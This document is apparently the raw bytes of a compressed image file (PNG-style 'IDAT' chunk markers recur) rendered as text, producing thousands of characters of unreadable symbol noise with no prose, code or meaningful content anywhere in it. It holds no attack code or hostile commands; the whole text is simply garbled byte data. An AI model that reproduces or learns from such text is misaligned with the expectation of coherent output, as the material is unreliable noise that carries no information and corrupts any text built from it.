OzҚA-Ta҆j87e밦YαUL-,xSv_M*jmN6uZ Z=G]mܝêDc"IAPƏzhbwAg:.]nԪeتgC@AAǔ̱.XXU%@ qR--vBv.jrT)KjÚUHhl(**jF5C8hP  IDAT֨3GZP27/{(D %O)xE𻹻ozu=!}Cb߸~p=|z|{PS!]u擅LD Cp1v&a!"R2Dd@ "A.%[@L.-c*,yU ]umܸq˖-6mH~x;ttynss)Tu-o!zfNoZDx`_WkvW"G9ٓ#G9S=4m: +RQJ6ɪ3zeUoMPmaa7mdVhCe8V~,d˟OU. +?}ņW;0IIʎ/ex4}>w Us݉;̷jE=yx깉bމwO39r4>cr/mw9ٓ#G90eOW%f|g=i+&`OKG>NesVS *ָ4)ڳ7>l , UcK~ݵ$seTMV_IܙYQjmy4.3z.#Vqk쬖UqڶQ|tkW]}1+fyqg| zd}#>ko7zF'߃a|56`,{!)xeӺkޚ-bw rcɴ=?-Grs]3˅bz%ðbDVk#k#HŊX"A @m*PMs$M6I6[ ZY֙%QhPH( mب&aAKT>&j? 3)_8;~_G#3k~BעKUVreFei!X[`Q7tMK <On7Cq\sQQNjv> HJ4qxjL$ 1(f}N=EF FnZbj?_].5١F]JwߟNo~c̙w򕼇NL{@m9g`G.įyxρ>zx0t{1'05:0{'ߟi҈;G{'h oف+l{lt;ΙG!fGޙMM^lylf%:ws{ͷ' f9^_n&oD#GqS[ɞ9r񠡭'Xy*,QUƝQ!JF0P6qnnRsٌ|>>͘k(Vxk^…(\ҨQQ(T-`Qh)pfuni6R Ek@&6H5(X+H@ATPQXs|ϥYze){fG)Y}# lTY\X\X ˑXJ^mt].|HEV7O{UKU%;Ĕbn-$[,X5[21^D8"Dߓ| b6e(c=Fu?c_JP#EQX A*C]?͞Aݍl -;#yCSsf{!݉Siw\ՃSkSq7禧nxjɓUW l$VVg A3vûVSΣ%_$9>g3"(]nzsLb[vH|蛱mϡo}oyW~ûG;bMF;6' yG1y#o2k|9O›];\,="ŝYȑ ^#G9Ж1ګ +#kGj&Es3K37m$~[ƴUI"+T8zWS7DMtSqjd!W EAJB{(TOG>;\K'%ﺦZ)u#$ViՃЖV28&)iɬlv* br,T\v& 6oٴ=}2_7P+D9.#Cd$#} s׫W֕ZFeHm@b)"D*HH"TD Waq T1UEpR Tt3[ruG J We"%:HI@ f;YaDDTkŪ,kQz nm0ע3ɏR92[f+ ,ATVBoыmيQWZTM[G B'PXD1{Jњ D*AcgDyR@02:VfU3QuKP7{mN{\ 7n6 _-u=SX. ŋ&fOGp|tt&^뜞pnv<=̞ܽљ~iru=~n33Sw;^;mL9;6O?8v9*NNX;d{)N~}S='up۾,L0N] 8=y7>@K墳:uc@.$]̮Gwo?Lk҄{'^=qjbl =;ѷ~}oz:?wRw)‘'f1ΑLblkW`+' VMa9 :aR:ZSje%CБ~g /~HqOn9r~SC9ٓ#G9!(^̺_#*w}]Q>Y(_q·~M/5mVM0wAZ_mUaj>`e|.X,Zc*,TQ"}=˾%}8(qwI:Qx?ΉkœdZafP4ӛi/U}hK]j9W=h(D/ںfD$+(0 4d I-6='HD^$sϥL X0TnzLO_d*-]AyyEgU`X$5&m]>XN8cai]ZwP'o`uu,L6zqd5gOLJ[$n`#)8*G ,h\ lu]뿮]C]OgK*B*ad-˧U \JM40QٷOTy]4n\RF\%PEvCD`H)PI2b1ENBug(D,A$/I RHRܽ{+3_xE _VQ;'@'Yx}(^sCopvsi0}<]x?6z_?+5~#3sSiϻq-&_?=l/;|w< `ܞsN;w~lWlO?4۽Gr={x['Scضg}wrvlko849t=MϬq31w|dzlw/t˱kcuM ??=kzjdir|[ l>V;g0O`ql{܁cgw>;{`rt]]eq)"G[A%{^px{{`dO9rx_}6oX>?Qm6yxʏEMyPՀ٨@ƿc "%ӾNǒCz?W>$H(jH݂;GƊBW4o2k}JXB 7HQЪ%DB!2`b!b0cɘLSl!{ =Qt/-FŨa@%$H%$*Zz줪x Вk3㈢3˫I#!Q<BK1cU!F|O)o@h ą R;Vr:$ iLT]4#Fճj,b_}ìݨ*> |dK@P+yO <χx.!3ư!6um[u ӽn,GOT/yb|կ{,٪'5!#"$"mߏ?_s˒Xhjд%8%$Z؈lD6 dؚPm6 akn#[#BU؊ԖaK%%D%(\pdj%U8""!$4 f VʺxWGѧU}}~XXZ? >Idz Krss#U 6=noy/XQ1YČS<er4U9p"uoMEʼlștoS{5k.-,,ޘv+W/]'~?xvg@vb4軇3@cK>px\ۯ1ٙǶ-ںb-ۇO8IOζvnW'pL=;q܅;z݉uٓl.O=b5|oSsrNA__8ᑭg1N;}5]ECm=-?{vL*Yw=޲[ɚ=o˹[z~ ]ho+˜P4wftR# ^7uC#;~/t굷dկu)"G9bʞ9rq"- KBm 2d TeXw[RZu,'bh'X o:=J XZ_6>m{ RQP(9iA'^KN4@NAC0͈<W]Oi 4IJC4Ɔi).%;Y4UW4,$DUG>PZ_ӥyK5Dy2)؀`"5LL!R֋\ Єý~W?Cr-ݨV/zR($B,`]0CjM*9D0KN-I. ˓r"qn){$B] ZwH#@+VUj@D !Sdߐ)BA PP &kF^Ũ뇢SZfcG Sh9_S[lx55 D6l~x}tF*+E06 QJu3529ʕ#SWP}o}:j{׮] '|r%j?o0ƍۭ~籙}{~}O89yleKXxExye7Oz.izۺZWWWVy^\3=H:{!"A71gYM#|K7Mf6vdE׭ӲhWgi"SXƪ4n]3Z#Գ IDAT [EM5[L&"EikSwPĉr?=Bp08)qp܄u'S0vqHG븁o"{Nd}]ieRVBՒW_ 3a.\ vԸh+1+CI@:#0 -R2aqṅ-xAE mh='$dS9AS!ciٜum-Mt lk(F4tATM U ԒF*VEN^$bVUa#A#GTbn *(6UE!6`^ <_Ngץ 멂DX(L+TB`Vo=?O~y&!HI2 l2x27hj)* -{L4Y G*16ZZ*ϗJQ6.#G9N=B*}߼t|ko _l7߼r_g+nz؅2_5U%҇en!{ڮ$|sd/O{.}2l}Ƕ=#+A̜] } gʞ9r@I{њ?ׯ,ZErP]aE?E2ݙWE9 XU5~X||udXAqGs7?&IHld9mР%yWs΋XpuCC]>S(h+Qii(YX VbG.D*!Qʑtw< TKi2 @5DF km$cP%rL(ڒ=)B#?-K:-4FMi.GUKP'TUmM!HlH"*T@(,FhHgZH 8tT-Ju / /X(-!Bk7Ư޵+W>1 Dj!ZEAH:: ُ˥뾁;CԬ5#(~SdĢ9(%D j}8K'Tt_ΝKQ ɞ) ,j/yg΄9ٓ#G&Nȑ#}ɑ#G矌'(ȺqyտG^ه%(y]w1 L`CvK mzEMM ^VERB1BPT-}{ 5PZڔ} S3d܋EY^'mz}P3aXꊭ^ɮ) _ 'x%377V^ڰ{葁^AtjerOia*UT9C_p Q'qBO J*KP!u:!KU;GrH`N̢ z~V+ ;c檸0LC-[]^cVJ&[MϵjfYYCC>8ޘ=XVeL9iKV2+"[RbWj8}G4sA! X@jV,)uj A0 oY`L.tke&`߾ rcMEN5v =6oMo_WVuqA${"""""n@asj総]W9;WƮU[^F칉d )V9u!fvAߣt{Rb qu1l"Ȧ~/)!VMIsBbPKhyj-Ud=*">sR;j@m;%%8+8JNh`;+'Au)P,e;B č˫+7ڵĶď\%U\s0ː!D` DBÖX\4"rNjJ*L`KI,M:L,Z5ɶ$CrB* M 2F]02Lvb=mdHecWpx ljfŒ +xuFd>ON*"@jU%lԙ΅:ݏaBB#ڄ^])yJOj`i>TcaZ +6VVlm+ o,_޷SZ6Ͻ?'5pk %j ID洕5$[X٢kh6+yq N!5\p|o޸JD*&pby߶pjK,u p/Y^S J؟=o<*\~xjɞ;_݉V~nT2_+RPFٸEܡWBa-K OOںd06UkbQ8P}[{Q1TFm}ЍPqСHZ<+b@AVŨ&Dlykf^.VL]hNJcҬQVHaj2y&0}@Dl-L}C49[Z禴6mͳmqހI-4cL-F{8u:7vD Q};qzBè *zL"AcJXG0A6)!NmRLh6KĒ/էS{g37`iΛsY O>X?zpàjXKmi+YvY\St?A5u I[PV[ssFn*#v^,b8;u[)]w'\DDDDDDDDD쉈P({޿ƮUVV='|Y{O7_ٯWt<(szjGisŸ~ArZ~ $8\]|OӢe2LX Ґp1u1QZG`ʶ y3WqA᷵gAQH(X?ڸi`J_y.g1397VHDPC0 f0c{6MN+2CyLOgќKzflװ`i_N2"X+E#0o8$,J%ICGɀ#%Xh^wCs@UlA fK@t.֬pmPF$F>+kgɾoٖmdv8Wݛj~T9OXbrX2yz*ZP]Wٸ +cBHқtOL kmS; @eʽ}GDDDDDDDDDD\쉈eB"ϡ~CD fZ]ۍl ^u+=;5sڜzσ릛fff%˛*+7Ti?}ft4ML, 6MΌC3C|Mrﶄ9\є\p0 pT"#>ADDUvDHz8ĨlG}Nx7q |gqsq^GDDDDx<!tUu~FMR/B,*w iUN@Nv;W)͑n>x"“Cd6JmC !oEsoWܰy`xYt#LeӔ!6ל$%'!f&C VfI,%Y q&:3f~[ fd!M}B-t"O](h_ņ#Qx?B~1RPs%+,ԿH|~;aWIS4q6 q"ܚO3FWjtok5dN-@ML6`~^I!g##"N4hH%(Q%yVʅF>&Q$)>p K6-0m\X#64x9={m޼;ѣGwڵt "=w^tw>?w,% %i_5 "ko_Rq^Ou@ :E̞Y2{DZ6/xr,ed*V`r$ DD 3` )@*F}ZO91͖cRe ʚ"+"I-ޟ}VpkwKۗSx6P KLOڨ錪@U܆u1{|m*Xu )#P%HAO`5(7 VظlP= j(C))͙@HfU{>~j}-|8C+W̓k;Xa' eFT&jBrdhm|P⃷ɊJ ڜoS"e@4\_)IYZAt/#dLرc̋/h4"dODDDDĭCp*~y,ҋEX{:\[tz8=p'(ʻY + 0%"AGVmDꭲ\O\pŕQ(7BtDW獂5Wɛ5&xm86RVzM~Crd}nf5b v1a51<5LLʉDD~\ƕ~ΜIf2=gțD,Բq"őy]@:?+4!΍Mm URqas61y)=u@Eő= #!6D)9]Uuta0XSז.C S6Qc]RGw#UV c7973y|x˶YKlb{hVIGN͢aМUXV551D)&LWS-lzڜ"UX(QA@ 1{@qϱ%m˫A)r!UCHAj85&MLp1&b2jIF,^OdN6νOiIf[ud-[d3UHU `º|yRÊA@M0ϽjbZҜ4',,3ˀ\Tcǹ e9* 4= Fm%8!*^*!Zvm\Bq/ Ѹ0co~'?֚cSg$=[fTU67.Om͜y}NWlj6>ȕl Z :q4OAL`" JLs$h/O}qx [W0կn{-O=]ED18?%ĮG^T܊p Sz}þ\.7~DDDxD'"""""""vL5ogӼuf R іnc q ?' YP%JP}heӟ>W'z~TPNIr҄WB1dF&CLĜ 81vI''Zh]x_܄O%Ӫ#khf"} \Va}"mu^V+P'ѐSXzNh U $!V~nGEU!g1 6B ]  eQ RbJ-ygs￑h2v:k?I?cV>`/Q^FDljD 2?֘>۸xFΝV=g  ,2 )Ssb%hu%PRw9V{N?vu~_>L~Q^xaуGʓ')8KVW#m{k8_kq6}G䁝;<Gރnr9sPT e{i-k{o{L MD+oXZy?#1Pb5YMBD ".dUIZF:hWդ/cdjH"Hr(RDXތq~O6NqW\W{扸CuQ݇#OzuG-ovRG^=wCvrbLKpS_.7WHQqA;q$e\Wq5q+gh6?5eDsNHጦ2^ .^oץ z21e3Sǡ. 1Pf|hy jбz\<>[2cIpj\M)M$&(!1&-o$íU+zLޏԉGf~BS(GVGTbVz}Tѻ+ȬJ9U]Ydh:e>|`j0 y:]7n3+7嚲t4 *d @!uzmcח(_qBg__cǎg#G_{<,bt]iKxiӻ\͓ɢKHxiޮ}9q1qtyl%UOݎ8FO/>{XSo>o<w|FO?E/Gۿ==޳C{7;U/K-qƭjx_UX IDATdODDDDDum UQCr V0"2ӓ+$]>/$h;l*DUEs|@Ox/!8ձj92Er"' ')i I`$FQc`&ϓV=3'pt6iۚo6khބ!MF*@9J)*QK)$@8Fq /ϊiiD5WUqnZ"orwTcU-y⧠y\ UbK&D.n.<4PbnҴ` ® q\HJRIJAH~օZH)13>M+K1̀Q0sjg1asH*ffɾ")$0YKٽ۹T;t@bWp拟^&ӿgzr>;cǎwG;V<Σ{(xPwG.|:-8v;K/)zx:9AcԱgUc5ehOw.[kG WߗRɆ}Go#[Ymуˋď|'빬qW< k,v?Ы~9W5¥EѸ) ^riu|DDD܎k%w&+ߜz^j}S7;.*} meɛ`;(Q )=kSAgj|qb $vm>3=:;jϽq5 IJViI4$$!I8=`Pj3ҿR?;j?zO'Hm4[dm8~b4$,Rn@ٵ(Rnvt{ʫڽ0+U]|'5#{z=8^,wWy.NYP\Ki--ɞ['QT^պ-[:ݽ 0r+=@p%,WY`euM0-kQU[ξ+k@f_.JdPKzK@ KEAi%CQ.zKb%g:z%?8BJIeAm=?z{up>Egg36Β&\!JB¤I47D$D-#v˗݇0}@]2N:}Fc&M6yl6Sk 9eV%*Jjw .`k:_ESU R(E92&fL%SXm'>4fr_>j4/&U 6 G7=9W"qVK5tO{Gڰ̖-c;v`8fC{,fX _~rgx1ܵ;];U:kYX5/ו }l6zGN1*cǞݶ ,%Dy>taC~Iڑyv޾tgU_.(q|5D\ :n/HJI]q9WD~E\"qm4$AYtMQ^~}<{pq}iL⣹;4 !F&M2mXDAv"U(PRgm%''ػ[{~xy*a*N; ([630H PePO >k3P̩w&5ӒsH RFbLZI*$&M %D)Nm*y2/違v톁e}|{'μߜ9 ԧ1'f bUcm 9-m15_?%72S U>E]Dwb_2ZG*ŌZnlbU_ HN%UZZQɡ.;!D!-X7 eR4 K˨6:7,-IRQ/')!rQpQ@&[iNGv2}^ZW)qœ2aP('kfg,{6>QY%I20  "nk}Ƈ<˼>]b#####02Zt9400ym ָ>}|fݦ4[ڎCN;[{hOGx]՟|# F_{Xȣ'켖uE UG#Oa==ӗ)6kl{$yY<}/;w8yt51eYBDzł|sg_]K|s_;/{lѧ/~}{c_䯜x>?OߜWW~ɟ}u/v q/(䊪P\kh,QB GU*J\[ _4gKEju5r$aV@CM:DK6*gtjgB=(m+[޵kMiFٷe|4S\ KEs+4.[d\(gO?f'y XԲ?LGub-RQk|qI,5kָ<3/bݼBy~ȑm۶=çO~mGw`ǎ'-9y={7L:k\wm{k~%_|3erǶ߷b̅~FwoP>K:"""""^F֟'qm#~O}囓۶\?~&n;K+r+Gϡ-!pU_-Z\ *3O>ݷa1HdP%Xk_¹opn}*T C.Ug;>|n:.H[\<6k+kVW<7fg'lmfu9Za"1`l@LJVQ?LDR1ɚd}3(M %>.v yBɓ4/Y )MR 6sEBh {0H!Pm B{ڳAQ%w]o۸ObjUĔ8jO}!NKx(yv׿6oinˆW`۔qN$ JTjZ;JSIگ+7|6ZYkC{("@ٍ:j !"VUPE$)w~6nr̩~?듛7| @yĉSSSoR^ y 2EDDDD\?wJDĭ_JHDDDDD|_^Kp~6/ps+;p7cղB@BDFL~*긬tr }䬗2K P6i$A9 1"RdbHbgz]Yq'HF66:7rsj܀<,Kg?4&cQ* !;Ӝ=#}ChZӰپߟT@IA$H"jA0647/'_۸EDY<´I-[3$Kb LJ2Ѷ Y=QZk7^Kl׭\_0lSZT` qX &egI7TZEbtv59.csiYɛ5ŔDoʜQ1 LO̜EKy;$ao陗xiN |MCQ eOJvធ mI]eBID#9$ݞ}laK0Z/zϿOS,_worHk,[Upb@dkd4o؜bRxΒ&"# | Ʃ.;DaK/u뾣o髉 ~DDܦBK#=c7~m?d+?ǏZo7m^tCL~ ׻6# 9X!2ZvRetr܀ C(`kqgN5:ܿ}jSp!uf|4) =Eф2"θ7~'{rȂTrPCbH$lhYޓ Siȼ,QЄ`X 121Y(sFĚ JZ hBҘAդZ?YsdNnB+qa vu[F'3 @Jn!' L{}Z a \TۨvGUx7 l=uGQiJ{ {'o @ٴǭLu$[2_>ݗV=h'*IflY\>3ۯ+af,Z3 d 1Wbϳ(91A8h]OAWD[3xlp,Q] AS dEGJuR2Eر.bKp3=ۉeC+*'vI.nyNU+~bUzdUsJj@6ڹj@uHCؤI{6SYOŢ#-\o'"""""""""" =\k>6qۀD{u~&C2yQ{Yʊ(C?yx@NʀZmYM6 /Kz6qVdzLެhn2+5 &J &L`%bRn S Q2&ei#' ʹz7sZ")'fm61rz H'% ^C NyWBw OxRJ‰/jǎ ,=U(إG O>zTR!r"w~0UYOO I_lmU7&gf&7DXAlU2#s͙$4u~.kh yŲ ;czD"7U>`l`ddy}b})/;uDDDD-Fے>/i2fA )֚^ ~iKUǾG8A.e"ܜyq~x~1 IDATfM?[ؘuL2nqbْ!#djQ}< T&1G+66M3m” .0-.b 9]`FaF3˗ cǎᙙ_|hD'"""""""?:#rG!=ܡlz;I &<k}PdqKb~"~fi񟕈hjJ~dۊAP'dzqbH2 Æ)ax;+V [Ka^>$MڜK-3m{H$Xxni"a;I_'Шj.eꥼ-$Vwe!ꘛ@hho:qkIcvsD.&9,Ntۗε,I)KJ./rb9a5JVkSS`r]j,`)9D"?#R.>-u~ _'[YCo?uǏU|:8zZtTZjY6JB<ݣKwݠQy(""z^WqtpU.R\S]eE])a_.{e"T\Wu?;szqD${"""""n1sY'i'yo4b~*^rg·*4uT^]Atq ZhDU0ΥaLQV$Bl n%_*!Ur["F__}O~Z>.iM۱0{j瘛T)MT$$HA eMI*l-[i_ҕ[M峧僿cPiMQkNsyTEU9Z|NU>OuQ!sԒ:9rhh)b/o‰Q<7#Zqw<Ϥ)(WUW.dAt?>4=R4@Ez1[IA `HKc_rӗL~Q^xaуGʓ'o\&vH`#OqUZ,w{80Oу^;żуz;?ߵ&y!KZmu.ǹw Ex.w d7 RXKtT>҃ǵ} ¹B Ж{VܖM9njJRX)Si[QHv?M\⍸!غK_2-oL<꡽{Hv?y7;%f`իWխBV)b"qc/ǽ^Hm^UYN~'2()2IZ*s&W&ҹe?ӟ\Ҝ>ln&L>߇f\VRC)S 5EFXe+d[Ry:w;2uǓLϙY 6ZrO1w,u>ujpI-ښhȝ)4?8E@]xhyZ`-dԷm͔qzeT`|MzL܀g]:;9yoU_h#G>Gog|k{/zV~Ս<\/|_ 6OajK=ޮl1q^3]՝xKǟz~ ꨪ`V+?x's:ξn۞[Lyd?<| xCϤsx'H/?#zZ.gʅ.lڛx/~_ҭ\xxQYg?DF?xz{t D+_{Η35m.^|W) y}U}>/NpwWۯ/|MC{]g>vp})/\R[}G/wU_{CϼҒ=esxӅ{#/%e9粑χ=ޙ^5'^zQ}~$/y^~\{\ϔC+)㹶+(ϥ\yvt^)nspizj*bT}V9dѪgj܍vb=렽뛍!OSq͢FՀD%.qh jm(сcToNm6Cm3[R9 ( 8k6@8TQ[&OƶQ+n~~|`uVcٶ5D"VƪFAIkf\&ᝠX`d SB`z6^:߅]\д%X3@Nw T$|>>6ہGqt'OϾy?їߧ'}3[NGYΞ}1.gJϡ{XK+)vɿd߯{<x<)ٌdNVFjTyE` Cnh_zmh{[gLRq@ؒaaC.<Ð* hp<65=V}y][9 U5m"qz'%9>VVRl.8i*4\FĴ-ɤW^2L'/%jT.Iw"^TI/'y^ԕD,ںIiZy+ F aD,܉q3A ;& rC`& BTʌ1:%S©)ӷ@sW_r .u}8Rts9f|l GNyl0{M]MoHg_Vz=Y{^^KUk?ܦpLMrg|Q\#RU_{ykhgsXm;]C\ϔWe/+g\2^x<UV[ǻһ\C$+WoYJA\t'cS<:] ?)YpՇtF#bV-}VO-IdD1$0"%n혖;n'Kw[ g/iTklTBhhBAhjDdM,%[RP6z[XۮqJ#VIbaUvD:ĉ.iyG2T\I- nvو9*/xh\fk6 ,I"I.TKDYËj1&M4“\QIø9Hꗼ%ZʢYPZr8{d:g.o )I8i }'Zϵ+XGelG1l2p܈kTf@)L(XE1^9@愗GqѣGqѣn/dnG044Թ}Oܿ F VeA)0A`L@dF 0 1"h8pjӭnϞ*fU %cFZ'.lDž >CJiK;w]2n?i$2)9-$\\&ř҈dyeTAAhkR.޸ $vuK.+Ub. EuGKJwԟ,f-;Z`"n'3ۈˏNV. `aVVPB+V[eS5c 1F C&y[Am0K&7T0 (p*1NcLr1'yi9:u 8zٿKKK=vk2O>3Lh~`Ɨs#ݦ4E-fї@J[-,DA W(w}xץ{ f!q =學.o/lydi`B]x/fS/>)W3pYʭSaˉ& ߊS% z'iɿ I*jcvOzJ5ϝ|=x<UB^ڶ+{Y.[uőMx:VW:Vҧ~nEװ6Ҍ*TmHӻ'wcrǭ oQWM;; iţL`.$mlO+Lm^oHGZwv|[!,BKQYm;C7]5׋  , u215diV*L "XCFY&f "8* D# :*-P{7YVbhg*btOUԲ.-<ĢyV|ڤ$ŝ,*&O8U5Q$j'Qm,$"4Pul₄@.eQUMR"T Y.T-f糬&W@>`:5d]ǝOz7Q>"T3Rwq/L;?RϞ[MXDDVy]7 zM]>,lݗZ %'Њ"kaEb1XH|޿?k׾??1rq+ݻo?}Ko_8p(Ko9s?q<⊜xǟ3Y?3ų ,..^T??ַ5;;;66>?9y]-q7k9da'M/ݺ翾_ՋO#+M9رb̜=ycn=p~KgJG$lX%m6n/8WpqlG'H 2I Rcϭy5hTt6D- @H! 1Hp$&0gt|ui˥HlUVJ.4Dʼn.r-+EɄPLD;a 8Hlb$5$u~1y>iiN&$ـ N̷_u[t+vP;>W4i®'Q1>S7]/:jCi1X%Ħ5ncLax,;}c>e(9lQPzyVgy?z{h,xѣjR?f̡~2y<gs\1/2zb ؐ,0bV:bV:W75VxɇvVߥPPeI 05@ooV4ǁUT.6xy2^%֖HJ9 F`(00tK$TPRqPk:3/RJ \@rsbq9+)TBc[gq&^hyqyi|$.n [ep %M&%w` ,I ⱀ$<Ȃ^"#!+Ibz$ I Ii`;.({Tź?&Źv_SE{+/@;jTK:6VVW["M0jC,bHXM8 .|`: 0XPFV(A@3jm}x≯}k w޵k7 O=?ie8={%) zC&/ IDAT\23&Oo$kUm|޼w^x<gH1ʥ6-ӗ -|Sѿ*4O+D0j(jY-Dt8hƏ tpPuvy2V1 *3&j QfbNU0Ai`xXf-FZ,J,"V0ǥ.+&[pO#ugʇyhLBHD$6H҅][p(%Z w˧߰DFJT0a5D !f`%BH Q$Oųg۵U3҄miVtO׻;C:_jb]EBƝw;DptT4EREy%1o5ZiFa1B ˵qOD0.c&*Qϛ$fx<Y Jsxx.rkŶ%QʮIJk6M^_B,JWͿz#x<x./^x<dzu)I6%.T}|(~ORm9{&ksPm @1ڭI*Ai~ _^Z52'VXL Q``X,*KLLʣe;C^Өjm؈]zUB_l3Iz>ֱ.ٖ)IZUI.ٞ-ĸ8-X8,@1Na@lR4)&Κ>hP$E($U]$ )DT] B !S$T=EnH F1-nb}! R4DֿL<7%VfbCv?﹭.ϗw|OT*Յ[0XMK!5Gv֜ tsp!$ e"$"9.co6lx^f>h,ϣlmHˊURe!@Y>Ciu_N""O!GKIA2}PW:$sQhv0ē-UkT{fz dj&(t;i\x%ezV0aɂ @ɸPYF5]U qau֓t7ԥQ() ShlBR6*X843K5Z+ -Ni{F dZЀ2G,rԆjRmB'Ҷ]qqz]'T#vx<!x[A-'[.?Px9ggsQT $JB 1ĬՐL0% HX>(/̴kh¸-H *I^AZgX '(tԾ϶<_H]a UϓB"I!x4>tsj4O7ViTC[R [ QE5( )yFѦ;?ƺ--- blJbmDBT&jbF,U12C#<<|5R2Tnh?<x<Ë=x.J:_BA@&f3<37_ҙBZ@Mf!2Ҁad̀Qea1JpI)qzl:&- PShN~Vl.B;W*Kԃ*S4I8SmTN@]ҽRa)pOaAE\ ni ٸQV~ N6i3č8g; y Xr=;yc]-ECfx2Xb) H@fZ֗ƪБq4bDN[? ӧO#x<gx{ 7*\;-/vP+  a"aQ 1h5Q8ND<7ogDyn.mrܤAcE\ȝd6үeΚ zeYO^I"iTdHn&Ik8Mn76B]H-[JtIYԃlAwo=΢-ҴTr<=D4&@cqPnTV_(C<]3ڪ\! Š6V]O6Zȑ0s#z t@mL^Sm}}:(,WаtԧpqTōΜ0 X`ص$=Ɏ;E;]MLHj( 6v?k DMˋ2>d'=5([QC 6[Պ^W[E;:a|*!0 U!3gNY'Y!\\-?xx<[g)߳&4qڀz[UΧn'/|x &bC K1tM~_vǫK8o].Sz l ,q'+@,`Cx%>dgNsҪc4=mEXM\ƒe$ MЏUP_-&!'y I7v;["DPM :e qj-ދ*h&ȒpI$$uX!:4!(KK !/$ A:+}Os{,Ho(ݢ`AJ ,bx$)iU8 F Q>HBi\?{}S`ᘥ]a1A#P-E#ӋKj{j,ұ8׈ڃnqy<x<*|>7[t%/x<|0 5r%%#Ƨ>Gw s5㐄X S@0L ff"f+H@4h(J޷JsZu[6IcH q}bޥ|U9:-nOvɣi 6c[fI hy3T;9-,-N t(IyeYkLvegD!$^얆,ezKjUb"vEg˳D-v50DȼΉ~C-ijG(t\m ) {,qY]2ɰTP82m쨉ꢑ&QHʀ@%x<x<^x<sYvnEܪi" dU(A!Vjk,7ogle٨4  C`! < LL \5ϗjTCiC"҈`bxڒw:+)ܴ)=!'UzۡHSi~O*ՖeAG }DΣh l6cy %bWЏ_,ʹP&9%)HPu&q|z&AKۑ8X7O֫@C#ܜj*`Bb[_rG0NarGyi"Fzwmx<xx<5a hźTN[-qDP+׻4_\:+`w-;϶5 6 aSzl4S*2{V a횥&H% +8`tFtVU/Sy:6΃7)D6Khf+ȞB$Q>J8zYQ*WrD, :ޓ.eYU/24@.?y({OU TV KZ3WQ@ UgGdB6UցmTfpR QKږƂ4jhsԗdp1q]xZUĪf]x<xoWkCnbxɻ};UD1^D R"e#eu3FsDaU-XKZH +jQxH(-ի2҄4eV+C"%iͅUo6FM 5 vJj DV59G'H8x$941ѵ 8r(zɷ IDATr-6G*БgeGJ 8yEuYv9rhg\ '(9 {t>}jswH6k>#̟9C}gsM_x<dzyxx ,]\G?wAn\6E7BЕ v첣P%$HFR@Կ;vׯ鸺lf$865F&P(;A$,j$Cٳѩ\+5*VMl-H"HllLj9d-~M'cEVcLu? E lOluT8WN1PRonJ478M4TVAH+κƱn&y S8:-8'* Eܻ>VT*ǞƓ_ݲKG=U*x{WޛxcJRy|T*'< ^+4P{5i5'&^£=o~tU=}]O-vմ?9aJ{z'y#9cO>?t,?G+5xۑϽ{kW>p4ȡ?}UxV_x<χաV?OK{Y˫A?n>u'1b'Kܯnzxz_؊ KERP_(iRvX?ֈ[I.&Lj%.f|xCY\lI&ʬ6`\i_T|T2gm5 %nBB؈1bQh`0DĠ-OFLn} 5UW$m.K Ԥ H:TU@ts  Eu,5FdqMdJd|M SRQ$s4 j@F]QҼj!EMjdQE-AK@>LQkOdJG@.q!Vì@݈fvFj$,`UKD1#fؘީpbKbD5,avv)Ĵ:/ ׂ5 0<7 鄉4.d:yO^%_ cRǞxpky;>ֿ4zZymt>WSN[O\ԓJW+gX̑o>Sӻ\ٞS{>?y NxYE'?k -HE*E=Ÿ67'Oˍv5h5$jڸqYEtXuݛ+hQ&QW"ظQG9q /; ИUvm ml'&e +ǟ q/QcYw SNQ(e@yAWϝ.AEh,K[tp&&b( TE%jI⨉f eb1ZrHԒ$}"1:yx޳s]o̖^.4nnid|V0%9=^_d;ƾ=ݟ(^s1x<e`{<dz [@m_vn~Gowa#:44,*gz48"P !g"8w~vt~_FGFqlb1^6~ޟ_&]JqK-E;'?yo9,)NMwoej4 ηqﻁLi=*ȟK;4AI0 Zwsl>9mbC`&fa jaA0jM;ɲ*;ߘUr)ۢ88ZRKtU^d5)+ T :TΔ9 [)AMk|KVڲ-}šB uh E*8E$yRT)!b:tk!0){u)SriFu JMSΝsXPĩ%N&"XU4Z^:}b-"*G¨j &s94nUl;j \zcSn,u٣4P(_z8yб؋Wy5_JY8_GO<|p?498r~cێU*MBCWO>7N'Uگ~o P-Mٽg/EI y{t^zW˯ݩw۳nTO;x6/x<j@D74Iգq?DOջ>51=3O_ߙsG *544_c߾?ntl3zro}ȫ?%g?ɗh`LlۼJ3g|(]jw o>|ɿܶ/G9}V W=cCIP`(`DޟgYW9b .^e Qq z]m[j I 6Xaү}`,%B+VhD0VJD(a" KL)ns礵8ʶA-6jK*·,@Vدda${w_-OυdO({ɪ~RîDP玥*v J#p9yTEDr)4q}β$i.ՇMBJM$Tl$ ,MwtoH S6W%稐~$#LH#)e#`ug(( r:3QuWPAbijۍ#/5qeʖJjkRqq۹G1%KPlWvՠI<:]_\b1I¹{ K%smw}ჷ˗ˏx;yg6$m}={I+>c{4}sȡgn8|p7jƮOo|Uvy 7{'1K\)\9:nG:Ww?j#&;FOhRzv]*+n ' OY~'=|/X5DvJ=|v"RM/%ȏ~#/qh_}=l]xJa~\ o?OqE13U/?S莝s3fQ5v.b~c..Vե {>37o~ۭ~oٽw%52Zե&+=]pguuS▣FG|Z=S.ݾ:6::f睑8xvMs3圵zso˓ob6$ok~ץi"w\QjRN=|c<~+8sV~ފfDd[D"$ 5 R6 Vb.Ȗc;G'iyQOg3Z55nqdB2īʮ7wӬ I$OSYC* 4K"$@b@UkFG, I2/\Եof$yJG*Y\[P P#ZPiҔ iAԓG>Y A}lte59I椞4fN;'9)9Mm܄aA."N@XvsZC"hLԴ L _7mDDTZrlniʭ%Wu`Ȍl^FmDIhݟi|6vיwNf]ގ .klIز[cQn3:v1?GGGp"8Qp~ Gk6[vkkm˶,/IKD.=Ȕ̬[UYYUV|p!+& W6ԉ> <ѯ2O=*Vt[C7=胟KWZP_:q&fٲxb["yXWlj|GG(Ϻ4?y ~G{b^f%bGCn [U8~je1c1x1&{c1Ƹ`07o?o9gY[[{ ?s:=~<19}ǎle1kFQԔye]w馛SӇO;37r/_W}{Oq7.x充\EfɈzjޞ=OM^/n{Pdz!~ȃ@BZuOVRvNm$(8 XC^͐&`V5izWNR 3Ijf=)eZp5qbP^xMPeMF ohґSJ>Tr0\٠(\4VFQ/ bކ{ij>9P ~wumeY* 